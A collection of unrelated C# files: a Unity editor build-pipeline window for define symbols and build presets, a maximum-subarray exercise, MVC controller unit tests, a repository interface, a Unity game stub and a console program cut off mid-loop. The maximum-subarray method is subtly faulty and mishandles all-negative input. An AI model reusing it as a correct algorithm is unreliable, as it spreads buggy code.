if (Array.Exists(customSymbols, (s) => s.IsSelected && !s.IsEnabled))
{
_menu.AddItem(enableSymbolsGUI, false, EnableSymbols);
}
else
{
_menu.AddDisabledItem(enableSymbolsGUI);
}
if (Array.Exists(customSymbols, (s) => s.IsSelected && s.IsEnabled))
{
_menu.AddItem(disableSymbolsGUI, false, DisableSymbols);
}
else
{
_menu.AddDisabledItem(disableSymbolsGUI);
}
_menu.AddItem(useSelectedSymbolsGUI, false, UseSelectedSymbolsOnPreset);
_menu.ShowAsContext();
}
// ----- Local Methods ----- \\
void EnableSymbols()
{
foreach (var _symbol in customSymbols)
{
if (_symbol.IsSelected)
EnableSymbol(_symbol, true);
}
}
void DisableSymbols()
{
foreach (var _symbol in customSymbols)
{
if (_symbol.IsSelected)
EnableSymbol(_symbol, false);
}
}
}
private void DrawConfigurationRightSide()
{
// Draw all currently active symbols.
using (var _scroll = new GUILayout.ScrollViewScope(activeSymbolsScroll, GUILayout.Height(SectionHeight)))
{
activeSymbolsScroll = _scroll.scrollPosition;
EditorGUILayout.GetControlRect(false, -EditorGUIUtility.standardVerticalSpacing * 4f);
EnhancedEditorGUILayout.UnderlinedLabel(activeSymbolHeaderGUI, EditorStyles.boldLabel);
GUILayout.Space(3f);
DrawSymbols(activeSymbols);
// Need to apply symbols message.
if (doNeedToApplySymbols)
{
GUILayout.Space(5f);
EditorGUILayout.HelpBox(NeedToApplySymbolsMessage, UnityEditor.MessageType.Warning);
}
}
}
private void DrawConfigurationBottom()
{
// Apply symbols button.
using (var _scope = EnhancedGUI.GUIEnabled.Scope(doNeedToApplySymbols))
using (EnhancedGUI.GUIColor.Scope(validColor))
{
if (GUILayout.Button(applySymbolsGUI, GUILayout.Width(ApplySymbolsButtonWidth), GUILayout.Height(ButtonHeight)))
{
SetScriptingDefineSymbol();
}
}
// Button to use selected symbols on selected preset.
Rect _position = EditorGUILayout.GetControlRect(false, -EditorGUIUtility.standardVerticalSpacing);
_position.Set(_position.xMax - UseSelectedSymbolsOnPresetButtonWidth,
_position.y - EditorGUIUtility.singleLineHeight - 5f,
UseSelectedSymbolsOnPresetButtonWidth,
LargeButtonHeight);
bool _enabled = lastSelectedSymbol != -1;
using (var _scope = EnhancedGUI.GUIEnabled.Scope(_enabled))
using (EnhancedGUI.GUIColor.Scope(configurationColor))
{
if (GUI.Button(_position, useSelectedSymbolsGUI))
{
UseSelectedSymbolsOnPreset();
}
}
GUILayout.Space(5f);
// Separator.
EnhancedEditorGUILayout.HorizontalLine(separatorColor, GUILayout.Width(position.width * .5f), GUILayout.Height(2f));
GUILayout.Space(5f);
// All registered build presets.
EnhancedEditorGUILayout.UnderlinedLabel(buildPresetsHeaderGUI, EditorStyles.boldLabel);
GUILayout.Space(5f);
DrawBuildPresets(true);
}
// -----------------------
private bool IsSymbolSelected(int _index)
{
ScriptingDefineSymbolInfo _symbol = customSymbols[_index];
bool _isSelected = _symbol.IsSelected && _symbol.IsVisible;
return _isSelected;
}
private bool CanSelectSymbol(int _index) {
ScriptingDefineSymbolInfo _symbol = customSymbols[_index];
return _symbol.IsVisible;
}
private void SelectSymbol(int _index, bool _isSelected)
{
ScriptingDefineSymbolInfo _symbol = customSymbols[_index];
if (_isSelected && !_symbol.IsVisible)
return;
_symbol.IsSelected = _isSelected;
// Last selected index update.
if (_isSelected)
{
lastSelectedSymbol = _index;
doFocusSymbol = true;
GUIUtility.keyboardControl = customSymbolControlID;
}
else if (!Array.Exists(customSymbols, (s) => s.IsSelected))
{
lastSelectedSymbol = -1;
}
}
// -----------------------
private void InitializeConfiguration()
{
RefreshSymbols();
}
private void OnConfigurationUndoRedo()
{
UpdateNeedToApplySymbols();
}
private void RefreshSymbols()
{
// Get all custom define symbols.
var _symbols = new List<ScriptingDefineSymbolAttribute>();
#if UNITY_2019_2_OR_NEWER
foreach (var _symbol in TypeCache.GetTypesWithAttribute<ScriptingDefineSymbolAttribute>())
{
_symbols.AddRange(_symbol.GetCustomAttributes(typeof(ScriptingDefineSymbolAttribute), true) as ScriptingDefineSymbolAttribute[]);
}
#else
foreach (Assembly _assembly in AppDomain.CurrentDomain.GetAssemblies())
{
foreach (Type _type in _assembly.GetTypes())
{
var _typeSymbols = _type.GetCustomAttributes<ScriptingDefineSymbolAttribute>(true);
foreach (var _symbol in _typeSymbols)
{
_symbols.Add(_symbol);
}
}
}
#endif
customSymbols = Array.ConvertAll(_symbols.ToArray(), (s) => new ScriptingDefineSymbolInfo(s));
Array.Sort(customSymbols, (a, b) => a.DefineSymbol.Symbol.CompareTo(b.DefineSymbol.Symbol));
// Get all active symbols.
activeSymbols = PlayerSettings.GetScriptingDefineSymbolsForGroup(BuildPipeline.GetBuildTargetGroup(EditorUserBuildSettings.activeBuildTarget)).Split(ScriptingDefineSymbolSeparator);
// When no symbol is enabled, an empty string will be returned; ignore it.
if ((activeSymbols.Length == 1) && string.IsNullOrEmpty(activeSymbols[0]))
{
activeSymbols = new string[] { };
otherSymbols = new string[] { };
}
else
{
// Get "other" symbols, that is non custom active symbols.
Array.Sort(activeSymbols);
otherSymbols = activeSymbols;
for (int _i = otherSymbols.Length; _i-- > 0;)
{
int _index = Array.FindIndex(customSymbols, (s) => s.DefineSymbol.Symbol == otherSymbols[_i]);
if (_index > -1)
{
customSymbols[_index].IsEnabled = true;
ArrayUtility.RemoveAt(ref otherSymbols, _i);
}
}
}
FilterCustomSymbols();
}
private void FilterCustomSymbols()
{
string _searchFilter = customSymbolsSearchFilter.ToLower();
foreach (ScriptingDefineSymbolInfo _symbol in customSymbols)
{
bool _isVisible = _symbol.DefineSymbol.Symbol.ToLower().Contains(_searchFilter) || _symbol.DefineSymbol.Description.ToLower().Contains(_searchFilter);
_symbol.IsVisible = _isVisible;
}
}
private void EnableSymbol(ScriptingDefineSymbolInfo _symbol, bool _isEnabled)
{
if (_symbol.IsEnabled == _isEnabled)
return;
if (_isEnabled)
{
ArrayUtility.Add(ref activeSymbols, _symbol.DefineSymbol.Symbol);
Array.Sort(activeSymbols);
}
else
{
ArrayUtility.Remove(ref activeSymbols, _symbol.DefineSymbol.Symbol);
}
_symbol.IsEnabled = _isEnabled;
UpdateNeedToApplySymbols();
}
private void UpdateNeedToApplySymbols()
{
string _symbols = PlayerSettings.GetScriptingDefineSymbolsForGroup(BuildPipeline.GetBuildTargetGroup(EditorUserBuildSettings.activeBuildTarget));
doNeedToApplySymbols = _symbols != string.Join(ScriptingDefineSymbolSeparator.ToString(), activeSymbols);
}
private void UseSelectedSymbolsOnPreset()
{
BuildPreset _preset = buildPresets[selectedPreset];
List<string> _symbols = new List<string>(_preset.ScriptingDefineSymbols.Split(ScriptingDefineSymbolSeparator));
if ((_symbols.Count == 1) && string.IsNullOrEmpty(_symbols[0]))
{
_symbols.Clear();
}
foreach (var _symbol in customSymbols)
{
string _scriptingSymbol = _symbol.DefineSymbol.Symbol;
if (_symbol.IsSelected)
{
if (!_symbols.Contains(_scriptingSymbol))
{
_symbols.Add(_scriptingSymbol);
}
}
else if (_symbols.Contains(_scriptingSymbol))
{
_symbols.Remove(_scriptingSymbol);
}
}
_preset.ScriptingDefineSymbols = string.Join(ScriptingDefineSymbolSeparator.ToString(), _symbols);
}
private void SetScriptingDefineSymbol()
{
string _symbols = string.Join(ScriptingDefineSymbolSeparator.ToString(), activeSymbols);
SetScriptingDefineSymbols(BuildPipeline.GetBuildTargetGroup(EditorUserBuildSettings.activeBuildTarget), _symbols);
}
private void SetScriptingDefineSymbols(BuildTargetGroup _targetGroup, string _symbols)
{
EditorUtility.DisplayProgressBar("Reloading Assemblies", "Reloading assemblies... This can take up to a few minutes.", 1f);
PlayerSettings.SetScriptingDefineSymbolsForGroup(_targetGroup, _symbols);
doNeedToApplySymbols = false;
EditorUtility.ClearProgressBar();
}
#endregion
#region Build Preset
private readonly GUIContent buildPresetSymbolsGUI = new GUIContent("Preset Symbols:", "Active symbols in this build preset.");
private readonly GUIContent savePresetGUI = new GUIContent("Save as...", "Save this preset.");
private readonly GUIContent deletePresetGUI = new GUIContent("Delete", "Delete this preset.");
private readonly int[] buildOptionsValues = Enum.GetValues(typeof(BuildOptions)) as int[];
private string[] buildOptionsNames = null;
[SerializeField] private int selectedPreset = 0;
private BuildPreset[] buildPresets = new BuildPreset[] { };
private GUIContent[] buildPresetsGUI = new GUIContent[] { };
private bool areBuildOptionsUnfolded = false;
// -----------------------
private void DrawBuildPresets(bool _canEdit)
{
// Preset selection.
GUIStyle _style = EnhancedEditorStyles.Button;
float _width = 25f;
foreach (var _content in buildPresetsGUI)
_width += _style.CalcSize(_content).x;
// Use a toolbar or a popup depending on the available space on screen.
if (_width < position.width)
{
selectedPreset = EnhancedEditorGUILayout.CenteredToolbar(selectedPreset, buildPresetsGUI, GUILayout.Height(LargeButtonHeight));
}
else
{
GUIContent _label = buildPresetsGUI[selectedPreset];
_width = _style.CalcSize(_label).x + 20f;
selectedPreset = EnhancedEditorGUILayout.CenteredPopup(selectedPreset, buildPresetsGUI, GUILayout.Width(_width), GUILayout.Height(LargeButtonHeight));
}
GUILayout.Space(10f);
BuildPreset _preset = buildPresets[selectedPreset];
DrawBuildPreset(_preset, false, _canEdit);
}
private void DrawBuildPreset(BuildPreset _preset, bool _isFromBuild, bool _canEdit = false)
{
using (var _scope = new GUILayout.HorizontalScope())
{
using (var _verticalScope = new GUILayout.VerticalScope(GUILayout.Width(position.width * SectionWidthCoef)))
using (var _changeCheck = new EditorGUI.ChangeCheckScope())
{
Undo.IncrementCurrentGroup();
Undo.RecordObject(_preset, "Build Preset Change");
// Preset settings.
bool _isCustom = !_isFromBuild && (selectedPreset == 0);
_canEdit |= _isCustom;
if (_canEdit)
{
_preset.Description = EditorGUILayout.TextArea(_preset.Description, EnhancedEditorStyles.TextArea, GUILayout.MaxWidth(position.width * SectionWidthCoef));
GUILayout.Space(5f);
string _scriptingDefineSymbols = EditorGUILayout.DelayedTextField(scriptingSymbolsGUI, _preset.scriptingDefineSymbols, EnhancedEditorStyles.TextArea);
if (_scriptingDefineSymbols != _preset.scriptingDefineSymbols)
{
_preset.ScriptingDefineSymbols = _scriptingDefineSymbols;
}
}
else
{
EditorGUILayout.LabelField(_preset.Description, EnhancedEditorStyles.WordWrappedRichText, GUILayout.MaxWidth(position.width * SectionWidthCoef));
GUILayout.Space(5f);
}
// Build target and options.
using (EnhancedGUI.GUIEnabled.Scope(_canEdit))
{
_preset.BuildTarget = (BuildTarget)EditorGUILayout.EnumPopup(buildTargetGUI, _preset.BuildTarget);
// Options.
Rect _position = EditorGUILayout.GetControlRect();
_position.xMax -= 25f;
_preset.BuildOptions = (BuildOptions)EditorGUI.EnumFlagsField(_position, buildOptionsGUI, _preset.BuildOptions);
_position.xMin += _position.width + 10f;
_position.width = 15f;
// Draw each build option as a toggle.
areBuildOptionsUnfolded = EditorGUI.Foldout(_position, areBuildOptionsUnfolded, GUIContent.none);
if (areBuildOptionsUnfolded)
{
using (var _indent = new EditorGUI.IndentLevelScope())
{
for (int _i = 0; _i < buildOptionsValues.Length; _i++)
{
int _value = buildOptionsValues[_i];
if (_value == 0)
continue;
BuildOptions _option = (BuildOptions)_value;
bool _wasEnabled = (_preset.BuildOptions & _option) == _option;
bool _isEnabled = EditorGUILayout.ToggleLeft(buildOptionsNames[_i], _wasEnabled);
if (_isEnabled != _wasEnabled)
{
if (_isEnabled)
{
_preset.BuildOptions |= _option;
}
else
{
_preset.BuildOptions &= ~_option;
}
}
}
}
}
// Save on any change.
if (!_isCustom && _changeCheck.changed)
SaveBuildPreset(_preset);
}
GUILayout.Space(15f);
// Save / delete preset buttons.
if (_isCustom)
{
using (EnhancedGUI.GUIColor.Scope(validColor))
{
if (GUILayout.Button(savePresetGUI, GUILayout.Width(75f), GUILayout.Height(ButtonHeight)))
{
string[] _presets = Array.ConvertAll(buildPresetsGUI, (b) => b.text);
CreateBuildPresetWindow.GetWindow();
}
}
}
else if (!_isFromBuild)
{
using (EnhancedGUI.GUIColor.Scope(warningColor))
{
if (GUILayout.Button(deletePresetGUI, GUILayout.Width(75f), GUILayout.Height(ButtonHeight))
&& EditorUtility.DisplayDialog($"Delete \"{buildPresetsGUI[selectedPreset].text}\" preset",
"Are you sure you want to delete this build preset?\n" +
"This action cannot be undone.", "Yes", "Cancel"))
{
DeleteBuildPreset(_preset);
}
}
}
}
GUILayout.Space(5f);
// Preset symbols.
using (var _verticalScope = new GUILayout.VerticalScope())
{
EditorGUILayout.GetControlRect(false, -EditorGUIUtility.standardVerticalSpacing * 4f);
EnhancedEditorGUILayout.UnderlinedLabel(buildPresetSymbolsGUI, EditorStyles.boldLabel);
GUILayout.Space(3f);
DrawSymbols(_preset.ScriptingDefineSymbols);
}
}
}
// -----------------------
private void InitializeBuildPresets()
{
buildOptionsNames = Array.ConvertAll(buildOptionsValues, (v) =>
{
string _name = Enum.GetName(typeof(BuildOptions), v);
return ObjectNames.NicifyVariableName(_name);
});
RefreshBuildPresets(true);
}
private void RefreshBuildPresets(bool _initializeCustomPreset = false)
{
buildPresets = PresetResources.Reload();
Array.Sort(buildPresets);
buildPresetsGUI = Array.ConvertAll(buildPresets, (p) => new GUIContent(p.name.Replace(PresetResources.Prefix, string.Empty)));
RefreshCustomPreset(_initializeCustomPreset);
selectedPreset = Mathf.Min(selectedPreset, buildPresets.Length - 1);
GUIContent _custom = buildPresetsGUI[0];
_custom.text = $"- {_custom.text} -";
}
private void RefreshCustomPreset(bool _initialize)
{
string _customPresetName = $"{PresetResources.Prefix}{PresetResources.DefaultAssetName}{PresetResources.Suffix}";
BuildPreset _customPreset = Array.Find(buildPresets, (p) => p.name == _customPresetName);
// Create the default preset if not found, and initialize it.
if (_customPreset == null)
{
_customPreset = PresetResources.CreateResource(PresetResources.DefaultAssetName);
AddPreset(_customPreset, 0);
}
else
{
int _index = Array.IndexOf(buildPresets, _customPreset);
int _newIndex = 0;
if (_index != _newIndex)
{
buildPresets[_index] = buildPresets[_newIndex];
buildPresets[_newIndex] = _customPreset;
GUIContent _label = buildPresetsGUI[_index];
buildPresetsGUI[_index] = buildPresetsGUI[_newIndex];
buildPresetsGUI[_newIndex] = _label;
}
if (!_initialize)
return;
}
// Preset initialization.
_customPreset.buildCount = 0;
_customPreset.BuildOptions = 0;
_customPreset.BuildTarget = EditorUserBuildSettings.activeBuildTarget;
_customPreset.ScriptingDefineSymbols = PlayerSettings.GetScriptingDefineSymbolsForGroup(BuildPipeline.GetBuildTargetGroup(_customPreset.BuildTarget));
}
private void CreateBuildPreset(string _name)
{
// Create the preset.
BuildPreset _template = buildPresets[0];
BuildPreset _preset = CreateInstance<BuildPreset>();
_preset.Initialize(_template);
_preset = PresetResources.CreateResource(_name, _preset);
// Add it to the list and refresh it.
AddPreset(_preset);
Array.Sort(buildPresets, buildPresetsGUI, 1, buildPresets.Length - 1);
selectedPreset = Array.IndexOf(buildPresets, _preset);
}
private void AddPreset(BuildPreset _preset, int _index = 1)
{
ArrayUtility.Insert(ref buildPresets, _index, _preset);
ArrayUtility.Insert(ref buildPresetsGUI, _index, new GUIContent(_preset.name.Replace(PresetResources.Prefix, string.Empty)));
}
private void SaveBuildPreset(BuildPreset _preset)
{
EditorUtility.SetDirty(_preset);
}
private void DeleteBuildPreset(BuildPreset _preset)
{
string _path = AssetDatabase.GetAssetPath(_preset);
if (!string.IsNullOrEmpty(_path))
{
AssetDatabase.DeleteAsset(_path);
AssetDatabase.Refresh();
ArrayUtility.RemoveAt(ref buildPresets, selectedPreset);
ArrayUtility.RemoveAt(ref buildPresetsGUI, selectedPreset);
selectedPreset = 0;
}
}
#endregion
#region Draw Utility
private const string BuildDirectoryPanelTitle = "Build Directory";
// -----------------------
private void DrawTab(Action _onDrawHeader, Action _onDrawSectionToolbar, Action _onDrawSection, Action<Rect> _onSectionEvent,
Action _onDrawRightSide, Action _onDrawBottom, ref Vector2 _sectionScroll)
{
// Button.
_onDrawHeader();
using (var _globalScope = new GUILayout.HorizontalScope())
{
using (var _sectionScope = new EditorGUILayout.VerticalScope(GUILayout.Width(position.width * SectionWidthCoef), GUILayout.Height(SectionHeight)))
{
// Section background.
Rect _position = _sectionScope.rect;
DrawSectionBackground(_position);
// Section toolbar.
using (var _scope = new EditorGUILayout.HorizontalScope(EditorStyles.toolbar))
{
// Draw an empty button all over the toolbar to draw its bounds.
{
Rect _toolbarPosition = _scope.rect;
_toolbarPosition.xMin += 1f;
GUI.Label(_toolbarPosition, GUIContent.none, EditorStyles.toolbarButton);
}
_onDrawSectionToolbar();
}
// Section content.
using (var _scroll = new GUILayout.ScrollViewScope(_sectionScroll))
{
_sectionScroll = _scroll.scrollPosition;
_onDrawSection();
}
// Events.
_onSectionEvent(_position);
}
GUILayout.Space(10f);
// Right side.
using (var _scope = new GUILayout.VerticalScope(GUILayout.Height(SectionHeight)))
{
_onDrawRightSide();
}
GUILayout.FlexibleSpace();
}
GUILayout.Space(5f);
// Bottom.
_onDrawBottom();
}
private void DrawSectionBackground(Rect _position)
{
EditorGUI.DrawRect(_position, sectionColor);
_position.y -= 1f;
_position.height += 2f;
GUI.Label(_position, GUIContent.none, EditorStyles.helpBox);
}
private void DrawBuildDirectory(GUIContent _header)
{
EnhancedEditorGUILayout.UnderlinedLabel(_header, EditorStyles.boldLabel);
GUILayout.Space(3f);
FolderEnhancedSettings _setting = BuildDirectorySettings;
string _directory = EnhancedEditorGUILayout.FolderField(GUIContent.none, _setting.Folder, true, BuildDirectoryPanelTitle);
if (_directory != _setting.Folder)
{
_setting.Folder = _directory;
RefreshBuilds();
}
}
private Rect GetSectionElementPosition()
{
Rect _position = EditorGUILayout.GetControlRect();
_position.xMin -= 2f;
_position.xMax += 2f;
_position.height += 2f;
return _position;
}
// -----------------------
private void DrawSymbols(string _symbols)
{
string[] _splitSymbols = _symbols.Split(ScriptingDefineSymbolSeparator);
DrawSymbols(_splitSymbols);
}
private void DrawSymbols(string[] _symbols)
{
string _allSymbols = string.Empty;
foreach (string _symbol in _symbols)
{
if (string.IsNullOrEmpty(_symbol))
continue;
string _color = Array.Exists(customSymbols, (s) => s.DefineSymbol.Symbol == _symbol)
? "green"
: "teal";
_allSymbols += $"<b><color={_color}>{_symbol}</color></b> ; ";
}
if (!string.IsNullOrEmpty(_allSymbols))
{
EditorGUILayout.LabelField(_allSymbols, EnhancedEditorStyles.WordWrappedRichText);
}
}
#endregion
#region Build Utility
public static void LaunchBuild(string _path, int _amount = 1)
{
if (File.Exists(_path))
{
for (int _i = 0; _i < _amount; _i++)
Process.Start(_path);
}
else
{
Debug.LogError($"Specified build does not exist at path: \"{_path}\"");
}
}
public static string[] GetBuilds()
{
if (!Directory.Exists(BuildDirectory))
{
Directory.CreateDirectory(BuildDirectory);
return new string[] { };
}
List<string> _builds = new List<string>();
string[] _executables = Directory.GetFiles(BuildDirectory, "*.exe", SearchOption.AllDirectories);
foreach (string _file in _executables)
{
if (Path.GetFileNameWithoutExtension(_file) == Application.productName)
_builds.Add(_file);
}
return _builds.ToArray();
}
public static string GetBuildIcon(string _buildName, GUIContent _content)
{
switch (_buildName)
{
case string _ when _buildName.Contains("Android"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Android.Small");
return "Android";
case string _ when _buildName.Contains("Facebook"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Facebook.Small");
return "Facebook";
case string _ when _buildName.Contains("Flash"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Flash.Small");
return "Flash";
case string _ when _buildName.Contains("iPhone"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.iPhone.Small");
return "iPhone";
case string _ when _buildName.Contains("Lumin"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Lumin.Small");
return "Lumin";
case string _ when _buildName.Contains("N3DS"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.N3DS.Small");
return "N3DS";
case string _ when _buildName.Contains("PS4"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.PS4.Small");
return "PS4";
case string _ when _buildName.Contains("PS5"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.PS5.Small");
return "PS5";
case string _ when _buildName.Contains("Stadia"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Stadia.Small");
return "Stadia";
case string _ when _buildName.Contains("Switch"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Switch.Small");
return "Switch";
case string _ when _buildName.Contains("tvOS"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.tvOS.Small");
return "tvOS";
case string _ when _buildName.Contains("WebGL"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.WebGL.Small");
return "WebGL";
case string _ when _buildName.Contains("Windows"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Metro.Small");
return "Windows";
case string _ when _buildName.Contains("Xbox360"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Xbox360ebGL.Small");
return "Xbox360";
case string _ when _buildName.Contains("XboxOne"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.XboxOne.Small");
return "XboxOne";
case string _ when _buildName.Contains("Standalone"):
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Standalone.Small");
return "Standalone";
default:
_content.image = EditorGUIUtility.FindTexture("BuildSettings.Editor.Small");
return "Unknown";
}
}
#endregion
#region Create Build Preset Window
/// <summary>
/// Utility window used to create a new build preset.
/// </summary>
public class CreateBuildPresetWindow : EditorWindow
{
/// <summary>
/// Creates and shows a new <see cref="CreateBuildPresetWindow"/> instance,
/// used to create a new build preset in the project.
/// </summary>
/// <returns><see cref="CreateBuildPresetWindow"/> instance on screen.</returns>
public static CreateBuildPresetWindow GetWindow()
{
CreateBuildPresetWindow _window = GetWindow<CreateBuildPresetWindow>(true, "Create Build Preset", true);
_window.minSize = _window.maxSize
= new Vector2(300f, 70f);
_window.ShowUtility();
return _window;
}
// -------------------------------------------
// Window GUI
// -------------------------------------------
private const string UndoRecordTitle = "New Build Preset Name Changes";
private const string EmptyNameMessage = "A Preset name cannot be null or empty!";
private const string ExistingPresetMessage = "A similar Preset with this name already exist.";
private readonly GUIContent presetNameGUI = new GUIContent("Preset Name", "Name of this build preset.");
private readonly GUIContent createPresetGUI = new GUIContent("OK", "Create this build preset.");
[SerializeField] private string presetName = "NewPreset";
// -----------------------
private void OnGUI()
{
Undo.RecordObject(this, UndoRecordTitle);
// Preset name.
Rect _position = new Rect(5f, 5f, 40f, EditorGUIUtility.singleLineHeight);
EditorGUI.LabelField(_position, presetNameGUI);
_position.x += 50f;
_position.width = position.width - _position.x - 5f;
presetName = EditorGUI.TextField(_position, presetName);
string _value = presetName.Trim();
GUILayout.Space(3f);
// Invalid name message.
if (string.IsNullOrEmpty(_value))
{
DrawHelpBox(EmptyNameMessage, UnityEditor.MessageType.Error, position.width - 10f);
return;
}
// A preset with the same name already exist.
// This is no problem, as the new preset will be renamed to not override the existing one.
if (PresetResources.GetResource(presetName, out _))
{
DrawHelpBox(ExistingPresetMessage, UnityEditor.MessageType.Info, position.width - 65f);
}
_position = new Rect()
{
x = position.width - 55f,
y = _position.y + _position.height + 10f,
width = 50f,
height = 25f
};
// Create preset button.
if (GUI.Button(_position, createPresetGUI))
{
BuildPipelineWindow.GetWindow().CreateBuildPreset(presetName);
Close();
}
// ----- Local Method ----- \\
void DrawHelpBox(string _message, UnityEditor.MessageType _messageType, float _width)
{
Rect _temp = new Rect()
{
x = 5f,
y = _position.y + _position.height + 5f,
height = EnhancedEditorGUIUtility.GetHelpBoxHeight(_message, _messageType, _width),
width = _width
};
EditorGUI.HelpBox(_temp, _message, _messageType);
}
}
}
#endregion
#region User Settings
private static readonly GUIContent userSettingsGUI = new GUIContent("Build Directory",
"Directory where to build and look for existing builds of the game from the BuildPipelineWindow.");
// -----------------------
[EnhancedEditorUserSettings(Order = 5)]
private static void DrawSettings() {
FolderEnhancedSettings _settings = BuildDirectorySettings;
_settings.Folder = EnhancedEditorGUILayout.FolderField(userSettingsGUI, _settings.Folder, true, BuildDirectoryPanelTitle);
}
#endregion
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Console2.From_026_To_050
{
/*
Find the contiguous subarray within an array (containing at least one number) which has the largest sum.
For example, given the array [−2,1,−3,4,−1,2,1,−5,4],
the contiguous subarray [4,−1,2,1] has the largest sum = 6.
*/
public class _050_MaxSubArray
{
public int MaxSubArray(int[] input, ref int startIndex, ref int endIndex)
{
int max = int.MinValue;
int maxStartIndex = -1;
int maxEndIndex = -1;
int start = -1;
int end = -1;
int sum = 0;
for (int i = 0; i < input.Length; i++)
{
if (sum == 0) start = i;
sum += input[i];
if (sum > max && sum >0)
{
max = sum;
end = i;
}
if (sum <0)
{
sum = 0;
maxStartIndex = start;
maxEndIndex = end;
start = -1;
end = -1;
}
}
if (end != -1)
{
startIndex = start;
endIndex = end;
}
else
{
startIndex = maxStartIndex;
endIndex = maxEndIndex;
}
return max;
}
}
}
|
using System.Web.Mvc;
using Logs.Authentication.Contracts;
using Logs.Models;
using Logs.Services.Contracts;
using Logs.Web.Controllers;
using Logs.Web.Infrastructure.Factories;
using Logs.Web.Models.Logs;
using Moq;
using NUnit.Framework;
using TestStack.FluentMVCTesting;
namespace Logs.Web.Tests.Controllers.LogsControllerTests
{
[TestFixture]
public class PostCreateTests
{
[TestCase(1, "name", "description", "d547a40d-c45f-4c43-99de-0bfe9199ff95")]
[TestCase(423, "lala name", "my description", "99ae8dd3-1067-4141-9675-62e94bb6caaa")]
public void TestCreate_ShouldCallAuthenticationProviderCurrentUserId(int logId, string name,
string description, string userId)
{
// Arrange
var log = new TrainingLog { LogId = logId };
var mockedLogService = new Mock<ILogService>();
mockedLogService.Setup(s => s.CreateTrainingLog(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<string>()))
.Returns(log);
var mockedAuthenticationProvider = new Mock<IAuthenticationProvider>();
var mockedFactory = new Mock<IViewModelFactory>();
var model = new CreateLogViewModel { Description = description, Name = name };
var controller = new LogsController(mockedLogService.Object, mockedAuthenticationProvider.Object,
mockedFactory.Object);
// Act
controller.Create(model);
// Assert
mockedAuthenticationProvider.Verify(p => p.CurrentUserId, Times.Once);
}
[Test]
public void TestCreate_ModelStateIsNotValid_ShouldReturnViewWithModel()
{
// Arrange
var mockedLogService = new Mock<ILogService>();
var mockedAuthenticationProvider = new Mock<IAuthenticationProvider>();
var mockedFactory = new Mock<IViewModelFactory>();
var model = new CreateLogViewModel();
var controller = new LogsController(mockedLogService.Object, mockedAuthenticationProvider.Object,
mockedFactory.Object);
controller.ModelState.AddModelError("key", "value");
// Act, Assert
controller
.WithCallTo(c => c.Create(model))
.ShouldRenderDefaultView()
.WithModel<CreateLogViewModel>(m => Assert.AreSame(model, m));
}
[TestCase(1, "name", "description", "d547a40d-c45f-4c43-99de-0bfe9199ff95")]
[TestCase(423, "lala name", "my description", "99ae8dd3-1067-4141-9675-62e94bb6caaa")]
public void TestCreate_ShouldCallLogServiceCreateTrainingLog(int logId, string name,
string description, string userId)
{
// Arrange
var log = new TrainingLog { LogId = logId };
var mockedLogService = new Mock<ILogService>();
mockedLogService.Setup(s => s.CreateTrainingLog(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<string>()))
.Returns(log);
var mockedAuthenticationProvider = new Mock<IAuthenticationProvider>();
mockedAuthenticationProvider.Setup(p => p.CurrentUserId).Returns(userId);
var mockedFactory = new Mock<IViewModelFactory>();
var model = new CreateLogViewModel { Description = description, Name = name };
var controller = new LogsController(mockedLogService.Object, mockedAuthenticationProvider.Object,
mockedFactory.Object);
// Act
controller.Create(model);
// Assert
mockedLogService.Verify(p => p.CreateTrainingLog(name, description, userId), Times.Once);
}
[TestCase(1, "name", "description", "d547a40d-c45f-4c43-99de-0bfe9199ff95")]
[TestCase(423, "lala name", "my description", "99ae8dd3-1067-4141-9675-62e94bb6caaa")]
public void TestCreate_ShouldSetDetailsViewIdCorrectly(int logId, string name,
string description, string userId)
{
// Arrange
var log = new TrainingLog { LogId = logId };
var mockedLogService = new Mock<ILogService>();
mockedLogService.Setup(s => s.CreateTrainingLog(It.IsAny<string>(), It.IsAny<string>(), It.IsAny<string>()))
.Returns(log);
var mockedAuthenticationProvider = new Mock<IAuthenticationProvider>();
mockedAuthenticationProvider.Setup(p => p.CurrentUserId).Returns(userId);
var mockedFactory = new Mock<IViewModelFactory>();
var model = new CreateLogViewModel { Description = description, Name = name };
var controller = new LogsController(mockedLogService.Object, mockedAuthenticationProvider.Object,
mockedFactory.Object);
// Act, Assert
controller
.WithCallTo(c => c.Create(model))
.ShouldRedirectTo((LogsController c) => c.Details(logId, It.IsAny<int>(), It.IsAny<int>()));
}
}
}
|
using Braspag.Domain.DTO;
using Braspag.Domain.Entities;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Braspag.Domain.Interfaces.Repository
{
public interface IUsuarioRepository : IRepositoryBase<Usuario>
{
Usuario Autenticacao(UsuarioDto dto);
}
}
|
using UnityEngine;
using System.Collections;
public class Game : MonoBehaviour {
int gold = 100;
int time = 100;
int Time { get; set; }
int Gold { get; set; }
void Start()
{
//InvokeRepeating("testUpdate", 0.0f, 1.0f);
testActions();
}
public void testActions()
{
int[] costs = { 2, 5 };
int[] rewards = { 4, 7 };
Action test = new Action(costs, rewards);
test.activateAction();
}
void testUpdate()
{
time++;
gold++;
Resources testResources = new Resources();
testResources.updateResources(gold,time);
}
}
|
using System;
namespace UniqueElementsInArray
{
class Program
{
static void Main(string[] args)
{
int n, ctr = 0;
int[] arr = new int[100];
int i, j, k;
Console.Write("Input the number of elements to store in the array: ");
n = Convert.ToInt32(Console.ReadLine());
Console.Write("Input {0} elements in the array:\n",n);
for (i = 0; i < n; i++)
{
